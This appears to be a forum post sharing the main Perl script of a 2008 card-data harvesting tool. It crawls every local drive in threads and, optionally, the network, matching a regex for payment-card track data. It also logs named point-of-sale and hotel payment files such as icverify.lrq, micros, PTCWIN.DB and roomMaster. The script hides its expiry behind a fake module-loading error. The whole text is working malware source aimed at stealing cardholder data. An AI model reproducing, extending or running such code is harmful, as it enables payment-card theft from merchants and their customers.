Main script.
Code: Select all#!/usr/bin/perl# Подключаем основные модули
# 24.03.2008
# - При обнаружении в файле данных соотвествующих строке поиска (regex)
# прекращать обработку файла.
#perl2exe_include "Tie/Handle.pm";
#perl2exe_include "Math/BigInt/Calc.pm";
use Win32::Console::ANSI;
use strict;
use warnings;
#use DBI;
use FileHandle;
use Win32API::File::Time qw{:win};
use threads;
use POSIX qw{floor};
require "general.pm";
require "netenum.pm";
no warnings 'threads';
$|=1;
use vars '$dbh', '$url_start', '$dir_start', '@dir_filter', '@file_type_exclude','$version','$regex','$maxlivetime','$debug','@file_name_include','$dietime','$lansttype';
$lansttype = 'Gen';
$version="Version 1.4a MultiThread from 22.04.2008";
#$regex = '((([0-9]{13,19}=)|([a-zA-Z\s]{3}\^))(0[7-9]|1[0-5])((0[1-9])|(1[0-2]))|(CARD_NUMBER|EXPIRATION_DATE|CVV|TRACK2|TRACK1){1})';
$regex = '((([0-9]{13,19}=)|([a-zA-Z\s]{3}\^))(0[7-9]|1[0-5])((0[1-9])|(1[0-2])))';
$maxlivetime = 86400*30*6*2; # последнее обновление файла, примерно пол года
$debug = 'off';
$dietime = 1207392905+(86400*30*2);
if ( time > $dietime ) { die("Can't open Handle/Tie.PM!"); };
# Фильтр директорий (директории, которые исключаются из индексации)
@dir_filter = (
'images',
'INBOX',
'inbox',
'i386',
'I386'
);
# Фильтр файлов (какие расширения файлов индексировать)
@file_type_exclude = (
'exe','ex_', # Executables
'dll','dl_', # Libraries
'cab','msi', # Cabinet/Installs
'chm','hlp', # Help files
'mid','midi', # Sound files (MID)
'rar','zip','tgz','gz', # Archives
'mp3','wma','wav', # Sound files (MPEG)
'avi','mov','wmv','mpeg', # Video files
'png','jpg','tiff','bmp','gif', # Pictures
'iso', # ISO Images
'swf', # Flash files
'htm','html', # HTML Pages
'asp','aspx', # ASP Sciprts
'vbs','pl','php','cgi', # Perl, PHP, etc Scritps
'c','h', # C files
'psd', # Presentations
'pdf', # Acrobar Reader files
'grd' # Strong Disk files
);
# Всегда пишем в лог эти файлы:
@file_name_include = (
'icverify.lrq',
'pbadmain.dat',
'netsend.in',
'netsend.out',
'otreg.dat',
'iso8583_5th3rd_interface.log',
'FINDATA01.DBF',
'QUICKDATA01.DBF',
'ccprocess.asp',
'ccprocess2.asp',
'micros',
'cdi.exe',
'CDI.exe',
'PTCWIN.DB',
'FO_DATA',
'FO_DATA',
'roomMaster'
);
# Сразу отправляем заголовок браузеру
# print "Content-type: text/html; charset=windows-1251\n\n";
my $time = time();
if ( !defined($ARGV[0]) || ((defined($ARGV[0])) && ( $ARGV[0] ne '*')) ) {
if (( @ARGV == 1 ) && ( $ARGV[0] eq "checkme" )) { print "LANST WORKING FINE"; exit; };
if ( @ARGV == 1 ) {
$dir_start=$ARGV[0];
print "Start dir: $dir_start\n";
&recursion($dir_start);
} else {
my @thr;
my $x=0;
open(O,">lanst.lst");
print O "1";
close(O);
print "Creating threads for";
# for (my $i='C'; $i ne 'AA'; $i++) {
for (my $i='C'; $i ne 'AA'; $i++) {
my $param = $i.':/';
next if !(-d $param);
$x++;
print " disk $i ";
$thr[$x] = threads->create('recursion',"$param");
};
print "Loaded ($x).\nWorking";
my $exit=0;
while (threads->list(threads::running)) {
my $total = threads->list(threads::running);
sleep(5);
my $done = floor(($x-$total)/$x*100);
print ".$total($done"."%".")";
};
open(O,">lanst.loc");
print O "1";
close(O);
print "\n";
};
} else {
print "Network enumeration...\n";
open(O,">lanst.nst");
print O "1";
close(O);
&netenum;
open(O,">lanst.net");
print O "1";
close(O);
};
print "Done!\n";
$time = time() - $time;
print "Elapsed: $time seconds\n";
exit;